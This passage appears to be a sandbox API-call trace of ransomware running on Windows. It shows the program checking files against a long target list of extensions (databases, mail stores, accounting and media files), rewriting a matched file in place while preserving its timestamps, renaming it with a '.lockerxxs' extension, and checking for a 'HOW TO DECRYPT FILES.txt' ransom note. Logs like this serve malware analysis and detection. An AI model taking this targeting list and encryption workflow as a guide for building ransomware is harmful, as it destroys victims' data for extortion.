Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.tlg") returned 0 [0065.638] lstrlenA (lpString="*.tlg") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.lgb") returned 0 [0065.638] lstrlenA (lpString="*.lgb") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mov") returned 0 [0065.638] lstrlenA (lpString="*.mov") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.xdw") returned 0 [0065.638] lstrlenA (lpString="*.xdw") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.ods") returned 0 [0065.638] lstrlenA (lpString="*.ods") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.wav") returned 0 [0065.638] lstrlenA (lpString="*.wav") returned 5 [0065.638] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.mp3") returned 0 [0065.638] lstrlenA (lpString="*.mp3") returned 5 [0065.639] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.aiff") returned 0 [0065.639] lstrlenA (lpString="*.aiff") returned 6 [0065.639] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.flac") returned 0 [0065.639] lstrlenA (lpString="*.flac") returned 6 [0065.639] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.m4a") returned 0 [0065.639] lstrlenA (lpString="*.m4a") returned 5 [0065.639] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp", pszSpec="*.csv") returned 0 [0065.639] lstrlenA (lpString="*.csv") returned 5 [0065.639] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="ZoomIcons.jpg", cAlternateFileName="ZOOMIC~1.JPG")) returned 1 [0065.639] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.639] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ZoomIcons.jpg") returned -1 [0065.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ZoomIcons.jpg") returned -1 [0065.639] lstrcmpiA (lpString1="", lpString2="ZoomIcons.jpg") returned -1 [0065.639] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp") returned="WhiteboxMask.bmp" [0065.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.639] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.639] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.639] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.640] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ZoomIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.ems") returned 0 [0065.640] lstrlenA (lpString="*.ems") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.db") returned 0 [0065.640] lstrlenA (lpString="*.db") returned 4 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.dbf") returned 0 [0065.640] lstrlenA (lpString="*.dbf") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.myox") returned 0 [0065.640] lstrlenA (lpString="*.myox") returned 6 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.myo") returned 0 [0065.640] lstrlenA (lpString="*.myo") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbw") returned 0 [0065.640] lstrlenA (lpString="*.qbw") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbb") returned 0 [0065.640] lstrlenA (lpString="*.qbb") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbm") returned 0 [0065.640] lstrlenA (lpString="*.qbm") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbo") returned 0 [0065.640] lstrlenA (lpString="*.qbo") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbx") returned 0 [0065.640] lstrlenA (lpString="*.qbx") returned 5 [0065.640] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qba") returned 0 [0065.641] lstrlenA (lpString="*.qba") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qby") returned 0 [0065.641] lstrlenA (lpString="*.qby") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qbj") returned 0 [0065.641] lstrlenA (lpString="*.qbj") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.ofx") returned 0 [0065.641] lstrlenA (lpString="*.ofx") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.qif") returned 0 [0065.641] lstrlenA (lpString="*.qif") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.mye") returned 0 [0065.641] lstrlenA (lpString="*.mye") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.mbox") returned 0 [0065.641] lstrlenA (lpString="*.mbox") returned 6 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.eml") returned 0 [0065.641] lstrlenA (lpString="*.eml") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.pst") returned 0 [0065.641] lstrlenA (lpString="*.pst") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.ost") returned 0 [0065.641] lstrlenA (lpString="*.ost") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.idx") returned 0 [0065.641] lstrlenA (lpString="*.idx") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.dbx") returned 0 [0065.641] lstrlenA (lpString="*.dbx") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.sql") returned 0 [0065.641] lstrlenA (lpString="*.sql") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.mdb") returned 0 [0065.641] lstrlenA (lpString="*.mdb") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.fdb") returned 0 [0065.641] lstrlenA (lpString="*.fdb") returned 5 [0065.641] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.wab") returned 0 [0065.641] lstrlenA (lpString="*.wab") returned 5 [0065.642] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.dat") returned 0 [0065.642] lstrlenA (lpString="*.dat") returned 5 [0065.642] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.txt") returned 0 [0065.642] lstrlenA (lpString="*.txt") returned 5 [0065.642] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.jpeg") returned 0 [0065.642] lstrlenA (lpString="*.jpeg") returned 6 [0065.642] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", pszSpec="*.jpg") returned 1 [0065.642] lstrlenA (lpString="*.jpg") returned 5 [0065.642] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" [0065.642] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" [0065.642] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg." [0065.642] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.lockerxxs" [0065.642] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.644] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc59 [0065.644] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb6e92300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x70c9f7b0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb6e92300, dwHighDateTime=0x1c747ea)) returned 1 [0065.644] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.644] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc33, lpOverlapped=0x0) returned 1 [0065.646] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg") returned="ZoomIcons.jpg" [0065.647] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.647] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc33, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc33, lpOverlapped=0x0) returned 1 [0065.647] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.647] CloseHandle (hObject=0x98) returned 1 [0065.655] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.lockerxxs")) returned 1 [0065.657] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="ZoomIconsMask.bmp", cAlternateFileName="ZOOMIC~1.BMP")) returned 1 [0065.657] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ZoomIconsMask.bmp") returned -1 [0065.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ZoomIconsMask.bmp") returned -1 [0065.657] lstrcmpiA (lpString1="", lpString2="ZoomIconsMask.bmp") returned -1 [0065.657] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg") returned="ZoomIcons.jpg" [0065.657] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.657] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.657] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.657] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.657] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="ZoomIconsMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" [0065.657] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.ems") returned 0 [0065.657] lstrlenA (lpString="*.ems") returned 5 [0065.657] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.db") returned 0 [0065.657] lstrlenA (lpString="*.db") returned 4 [0065.657] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.dbf") returned 0 [0065.657] lstrlenA (lpString="*.dbf") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.myox") returned 0 [0065.658] lstrlenA (lpString="*.myox") returned 6 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.myo") returned 0 [0065.658] lstrlenA (lpString="*.myo") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbw") returned 0 [0065.658] lstrlenA (lpString="*.qbw") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbb") returned 0 [0065.658] lstrlenA (lpString="*.qbb") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbm") returned 0 [0065.658] lstrlenA (lpString="*.qbm") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbo") returned 0 [0065.658] lstrlenA (lpString="*.qbo") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbx") returned 0 [0065.658] lstrlenA (lpString="*.qbx") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qba") returned 0 [0065.658] lstrlenA (lpString="*.qba") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qby") returned 0 [0065.658] lstrlenA (lpString="*.qby") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qbj") returned 0 [0065.658] lstrlenA (lpString="*.qbj") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.ofx") returned 0 [0065.658] lstrlenA (lpString="*.ofx") returned 5 [0065.658] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.qif") returned 0 [0065.658] lstrlenA (lpString="*.qif") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mye") returned 0 [0065.659] lstrlenA (lpString="*.mye") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mbox") returned 0 [0065.659] lstrlenA (lpString="*.mbox") returned 6 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.659] lstrlenA (lpString="*.eml") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.pst") returned 0 [0065.659] lstrlenA (lpString="*.pst") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.ost") returned 0 [0065.659] lstrlenA (lpString="*.ost") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.idx") returned 0 [0065.659] lstrlenA (lpString="*.idx") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.dbx") returned 0 [0065.659] lstrlenA (lpString="*.dbx") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.sql") returned 0 [0065.659] lstrlenA (lpString="*.sql") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mdb") returned 0 [0065.659] lstrlenA (lpString="*.mdb") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.fdb") returned 0 [0065.659] lstrlenA (lpString="*.fdb") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.wab") returned 0 [0065.659] lstrlenA (lpString="*.wab") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.dat") returned 0 [0065.659] lstrlenA (lpString="*.dat") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.txt") returned 0 [0065.659] lstrlenA (lpString="*.txt") returned 5 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 